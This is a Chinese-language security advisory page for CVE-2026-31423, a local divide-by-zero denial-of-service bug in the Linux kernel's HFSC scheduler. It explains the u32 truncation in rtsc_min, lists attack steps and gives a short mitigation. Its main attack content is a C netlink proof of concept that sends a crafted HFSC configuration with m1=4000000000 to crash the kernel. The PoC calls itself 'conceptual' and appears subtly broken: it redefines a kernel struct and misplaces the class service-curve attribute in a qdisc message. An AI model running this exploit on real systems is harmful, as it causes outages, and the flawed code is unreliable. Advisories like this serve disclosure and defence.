IPBUF安全漏洞报告
English
CVE-2026-31423 CVSS 5.5 中危

CVE-2026-31423 Linux内核hfsc调度器除零漏洞

披露日期: 2026-04-13
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31423
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelCVE-2026-31423Denial of ServiceDivide by ZeroNetlinkLocal

漏洞概述

Linux内核中的HFSC网络调度器存在一个除零错误漏洞。在`rtsc_min()`函数中,由于将u64差值截断存储在u32变量中,当特定大数值输入导致差值为2^32时,变量变为0并作为除数,引发内核崩溃。本地低权限攻击者可利用此漏洞导致系统拒绝服务。

技术细节

该漏洞位于Linux内核的`net/sched/sch_hfsc.c`文件中,涉及层次式公平服务曲线(HFSC)调度器的实现。漏洞由数据类型截断引起:`m2sm()`函数将u32斜率转换为u64缩放值,当输入如4000000000时,计算结果可达2^32。在`rtsc_min()`函数中,两个u64值的差值被赋值给u32变量`dsm`。当差值恰好为2^32时,因u32溢出截断,`dsm`被置为0。随后代码执行除法运算使用`dsm`作为除数,触发除零异常(divide error)。调用栈显示`hfsc_enqueue` -> `init_ed` -> `rtsc_min`。攻击者可通过构造特定的流量控制配置(如设置特定的服务曲线参数m1)触发该路径,导致内核Oops及系统崩溃。

攻击链分析

STEP 1
本地访问
攻击者获得目标Linux系统的本地访问权限(可能为低权限用户)。
STEP 2
构造恶意参数
攻击者计算并构造特定的HFSC(分层公平服务曲线)调度器参数,特别是设置较大的m1值(如4000000000),旨在触发m2sm()函数的数值溢出。
STEP 3
触发漏洞
攻击者使用`tc`命令或通过Netlink套接字发送恶意配置请求,加载HFSC Qdisc。内核执行`init_ed`和`rtsc_min`函数。
STEP 4
除零异常
在`rtsc_min`中,计算差值时发生截断导致除数为0,触发内核除零错误(Oops)。
STEP 5
系统崩溃
内核崩溃导致系统重启或死机,造成拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-31423 * Conceptual trigger via Netlink message construction for tc qdisc. * This code sets up a HFSC qdisc with parameters designed to trigger the m2sm overflow. */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <linux/pkt_sched.h> #include <linux/netlink.h> #include <sys/socket.h> #define TC_HFSC_RED 0x00000001 struct tc_hfsc_qopt { __u16 defcls; }; struct tc_service_curve { __u32 m1; __u32 d; __u32 m2; }; int main() { int fd; struct sockaddr_nl sa; char buf[1024]; struct nlmsghdr *nh; struct tcmsg *t; struct rtattr *rta; // The problematic value mentioned in the vulnerability report __u32 m1_overflow = 4000000000; fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (fd < 0) { perror("socket"); return -1; } memset(&sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; bind(fd, (struct sockaddr *)&sa, sizeof(sa)); memset(buf, 0, sizeof(buf)); nh = (struct nlmsghdr *)buf; t = (struct tcmsg *)(buf + sizeof(struct nlmsghdr)); // Setup Netlink header for adding a qdisc nh->nlmsg_type = RTM_NEWQDISC; nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK; nh->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg)); // Setup TC message t->tcm_family = AF_UNSPEC; t->tcm_ifindex = if_nametoindex("lo"); // Use loopback interface t->tcm_parent = TC_H_ROOT; t->tcm_handle = 1; // Add HFSC options rta = (struct rtattr *)(buf + NLMSG_ALIGN(nh->nlmsg_len)); rta->rta_type = TCA_OPTIONS; rta->rta_len = RTA_LENGTH(sizeof(struct tc_hfsc_qopt)); struct tc_hfsc_qopt *qopt = (struct tc_hfsc_qopt *)RTA_DATA(rta); qopt->defcls = 1; nh->nlmsg_len = NLMSG_ALIGN(nh->nlmsg_len) + RTA_ALIGN(rta->rta_len); // Add Service Curve (RSC) parameters to trigger the overflow rta = (struct rtattr *)(buf + NLMSG_ALIGN(nh->nlmsg_len)); rta->rta_type = TCA_HFSC_RSC; rta->rta_len = RTA_LENGTH(sizeof(struct tc_service_curve)); struct tc_service_curve *rsc = (struct tc_service_curve *)RTA_DATA(rta); rsc->m1 = m1_overflow; // Trigger value rsc->d = 10; rsc->m2 = 0; nh->nlmsg_len = NLMSG_ALIGN(nh->nlmsg_len) + RTA_ALIGN(rta->rta_len); printf("Sending payload to trigger CVE-2026-31423...\n"); sendto(fd, buf, nh->nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)); close(fd); return 0; }

影响范围

Linux Kernel (修复前版本)

防御指南

临时缓解措施
限制非特权用户配置网络流量控制(QoS)的权限,确保只有可信管理员能修改tc设置。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表